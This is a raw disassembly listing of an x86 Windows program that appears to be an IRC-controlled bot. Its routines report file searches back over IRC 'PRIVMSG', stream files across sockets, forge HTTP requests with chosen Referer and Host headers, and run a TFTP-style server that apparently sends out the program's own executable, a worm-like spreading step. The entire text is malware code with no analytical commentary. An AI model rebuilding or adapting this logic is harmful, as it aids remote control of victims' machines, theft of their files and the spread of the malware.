		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415B10
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_40681A
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40681F
; ---------------------------------------------------------------------------


loc_40681A:				; CODE XREF: sub_4062F7+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40681F:				; CODE XREF: sub_4062F7+521j
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		jmp	short loc_40689A
; ---------------------------------------------------------------------------


loc_406874:				; CODE XREF: sub_4062F7+480j
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40688B:				; CODE XREF: sub_4062F7+40Cj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41588A
		add	esp, 18h


loc_40689A:				; CODE XREF: sub_4062F7+317j
					; sub_4062F7+44Ej ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		cmp	[ebp+arg_8], ebx
		jz	short loc_4068C9
		push	7D0h
		call	dword_421060	; Sleep


loc_4068C9:				; CODE XREF: sub_4062F7+225j
					; sub_4062F7+240j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	loc_406516


loc_4068E1:				; CODE XREF: sub_4062F7+214j
		push	[ebp+arg_0]
		call	dword_421098	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_406924
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_415316
		add	esp, 14h
		jmp	short loc_406952
; ---------------------------------------------------------------------------


loc_406924:				; CODE XREF: sub_4062F7+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_248]
		jz	short loc_40693E
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_406952
; ---------------------------------------------------------------------------


loc_40693E:				; CODE XREF: sub_4062F7+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_415316
		add	esp, 10h


loc_406952:				; CODE XREF: sub_4062F7+62Bj
					; sub_4062F7+645j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4062F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406978	proc near		; CODE XREF: sub_405ECC+135p

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_421078	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406A30
		push	esi
		push	ebx
		call	dword_421090	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406A29


loc_4069BD:				; CODE XREF: sub_406978+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_4069DA
		mov	edi, [ebp+arg_4]


loc_4069DA:				; CODE XREF: sub_406978+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406A24
		call	dword_43C4E8
		cmp	eax, 2733h
		jnz	short loc_406A29
		xor	eax, eax


loc_406A24:				; CODE XREF: sub_406978+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_4069BD


loc_406A29:				; CODE XREF: sub_406978+43j
					; sub_406978+A8j
		push	ebx
		call	dword_42106C	; CloseHandle


loc_406A30:				; CODE XREF: sub_406978+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406978	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A35	proc near		; CODE XREF: sub_406048+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_415B10
		test	eax, eax
		pop	ecx
		jbe	short loc_406A5E


loc_406A48:				; CODE XREF: sub_406A35+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406A52
		mov	byte ptr [esi+edi], 2Fh


loc_406A52:				; CODE XREF: sub_406A35+17j
		push	edi
		inc	esi
		call	sub_415B10
		cmp	esi, eax
		pop	ecx
		jb	short loc_406A48


loc_406A5E:				; CODE XREF: sub_406A35+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406A35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A63	proc near		; CODE XREF: sub_40CD3A+2A1Ap

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43C4CC
		push	6
		push	1
		push	2
		call	dword_43C5D4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43C554
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_409F7A
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43C4FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406B40
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406ADC
		mov	eax, offset byte_43B188


loc_406ADC:				; CODE XREF: sub_406A63+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43C5A4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43C56C
		pop	esi


loc_406B40:				; CODE XREF: sub_406A63+6Bj
		push	ebx
		call	dword_43C5EC
		call	dword_43C4B4
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_415316
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406B80
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_406B80:				; CODE XREF: sub_406A63+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406A63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B84	proc near		; CODE XREF: sub_406B84:loc_407069p
					; DATA XREF: sub_4071B6+104o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		xor	ebx, ebx
		xor	eax, eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		inc	eax
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43C5D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406C47
		push	190h
		call	dword_421060	; Sleep
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_427310
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406C27
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412BD1
		add	esp, 14h


loc_406C27:				; CODE XREF: sub_406B84+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B078
		push	[ebp+var_170]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_406C47:				; CODE XREF: sub_406B84+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4416D4[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43C554
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43C580
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406CAC
		push	1388h
		call	dword_421060	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407069
; ---------------------------------------------------------------------------


loc_406CAC:				; CODE XREF: sub_406B84+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415A08
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406D2A
		push	190h
		call	dword_421060	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_4272C0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412BD1
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B078
		push	[ebp+var_170]
		call	sub_4150F0
		add	esp, 28h
		push	ebx
		call	dword_421048	; ExitThread


loc_406D2A:				; CODE XREF: sub_406B84+140j
		mov	esi, 200h


loc_406D2F:				; CODE XREF: sub_406B84+49Fj
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_407029
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43C53C
		test	eax, eax
		jle	loc_40701D
		mov	al, byte_43B188
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43C52C
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_415316
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_407007
		cmp	[ebp+var_D7], 1
		jnz	loc_406F59
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415B10
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_416D70
		add	esp, 14h
		test	eax, eax
		jnz	loc_406F13
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_416D70
		add	esp, 10h
		test	eax, eax
		jnz	loc_406F13
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_416CDE
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_416A57
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43C5B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset unk_427268


loc_406EC7:				; CODE XREF: sub_406B84+47Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F01
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412BD1
		add	esp, 14h


loc_406F01:				; CODE XREF: sub_406B84+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B078
		pop	ecx
		jmp	loc_40701D
; ---------------------------------------------------------------------------


loc_406F13:				; CODE XREF: sub_406B84+2B6j
					; sub_406B84+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_427254
		push	edi
		call	dword_43C5B8
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_427218
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40B078
		add	esp, 14h
		jmp	loc_40701D
; ---------------------------------------------------------------------------


loc_406F59:				; CODE XREF: sub_406B84+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_407007
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_406F90
		inc	al
		xor	cl, cl
		mov	[ebp+var_57D], bl
		jmp	short loc_406F98
; ---------------------------------------------------------------------------


loc_406F90:				; CODE XREF: sub_406B84+3FEj
		inc	cl
		mov	[ebp+var_57D], cl


loc_406F98:				; CODE XREF: sub_406B84+40Aj
		mov	[ebp+var_57E], al
		push	ebx
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_416CDE
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_416A57
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43C5B8
		cmp	edi, ebx
		jnz	short loc_40701D
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_4271C8
		jmp	loc_406EC7
; ---------------------------------------------------------------------------


loc_407007:				; CODE XREF: sub_406B84+268j
					; sub_406B84+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_4271B8
		push	edi
		call	dword_43C5B8


loc_40701D:				; CODE XREF: sub_406B84+204j
					; sub_406B84+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406D2F


loc_407029:				; CODE XREF: sub_406B84+1B4j
		push	edi
		call	dword_43C5EC
		push	[ebp+var_8]
		call	sub_415960
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_40705D
		push	[ebp+var_170]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_40705D:				; CODE XREF: sub_406B84+4C4j
		push	3E8h
		call	dword_421060	; Sleep
		push	esi


loc_407069:				; CODE XREF: sub_406B84+123j
		call	sub_406B84
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407075	proc near		; CODE XREF: sub_40CD3A+5753p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp


loc_407078:				; DATA XREF: seg001:00424DDCo
					; seg001:00424DF0o ...
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_427730
		push	eax
		xor	ebx, ebx
		call	sub_415316
		cmp	dword_427388, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4070E3
		push	esi
		mov	esi, offset dword_427390


loc_4070A8:				; CODE XREF: sub_407075+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DB0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4070A8
		pop	esi


loc_4070E3:				; CODE XREF: sub_407075+2Bj
		push	dword_46A9B8
		call	sub_40A8CF
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DB0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B078
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_407075	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40713F	proc near		; CODE XREF: sub_40CD3A+50A5p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_40717B
		mov	eax, [ebp+arg_C]
		push	dword_43B1A8[eax*8]
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42779C
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	short loc_40718E
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_40713F+13j
		lea	eax, [ebp+var_200]
		push	offset unk_427768
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_40718E:				; CODE XREF: sub_40713F+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B078
		add	esp, 18h
		leave
		retn
sub_40713F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071B6	proc near		; CODE XREF: sub_4078DF+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_407534
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_427394[eax], ebx
		jz	loc_407427
		push	4
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jnz	loc_407534
		mov	eax, dword_42C24C
		push	edi
		mov	edi, offset dword_43BB24
		push	104h
		push	edi
		push	ebx
		mov	dword_43BD34, eax
		mov	dword_43BD30, ebx
		call	dword_42107C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_43BC28
		push	offset byte_42C2BC
		push	esi
		call	sub_416BE0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43BB20, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43BDB8, eax
		jnz	short loc_407266
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43BD38
		call	sub_416BE0
		mov	dword_43BDBC, 1
		jmp	short loc_40727D
; ---------------------------------------------------------------------------


loc_407266:				; CODE XREF: sub_4071B6+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43BD38
		call	sub_416BE0
		mov	dword_43BDBC, ebx


loc_40727D:				; CODE XREF: sub_4071B6+AEj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_43BD34
		push	offset unk_427950
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	dword_43BD2C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43BB20
		push	offset sub_406B84
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_43BD2C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	loc_40737C
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_427908
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_4072FC:				; CODE XREF: sub_4071B6+1CEj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B078
		mov	edi, offset dword_43C17C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43C388, ebx
		call	dword_42107C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_43C280
		push	offset byte_42C2BC
		push	esi
		call	sub_416BE0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43C178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43C410, eax
		jnz	short loc_407389
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43C390
		call	sub_416BE0
		mov	dword_43C414, 1
		jmp	short loc_4073A0
; ---------------------------------------------------------------------------


loc_407374:				; CODE XREF: sub_4071B6+1CCj
		push	32h
		call	dword_421060	; Sleep


loc_40737C:				; CODE XREF: sub_4071B6+125j
		cmp	dword_43BDC0, ebx
		jz	short loc_407374
		jmp	loc_4072FC
; ---------------------------------------------------------------------------


loc_407389:				; CODE XREF: sub_4071B6+1A2j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43C390
		call	sub_416BE0
		mov	dword_43C414, ebx


loc_4073A0:				; CODE XREF: sub_4071B6+1BCj
		add	esp, 0Ch
		lea	eax, [ebp+var_204]
		push	esi
		push	edi
		push	dword_43C38C
		push	offset dword_4278B0
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	dword_43C384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43C178
		push	offset sub_405398
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_43C384
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_40741A
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_427868
		jmp	loc_407518
; ---------------------------------------------------------------------------


loc_407412:				; CODE XREF: sub_4071B6+26Aj
		push	32h
		call	dword_421060	; Sleep


loc_40741A:				; CODE XREF: sub_4071B6+249j
		cmp	dword_43C418, ebx
		jz	short loc_407412
		jmp	loc_407527
; ---------------------------------------------------------------------------


loc_407427:				; CODE XREF: sub_4071B6+25j
		cmp	dword_427398[eax], ebx
		jz	loc_407534
		push	3
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jnz	loc_407534
		mov	esi, offset dword_43C054
		push	104h
		push	esi
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_416EE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407465
		mov	[eax], bl


loc_407465:				; CODE XREF: sub_4071B6+2ABj
		mov	eax, dword_42C250
		mov	dword_43C16C, ebx
		mov	dword_43C158, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43BDCC
		call	sub_415316
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_43BDC8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_43C158
		mov	dword_43C164, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_43C168, ecx
		call	sub_40A08A
		pop	ecx
		push	eax
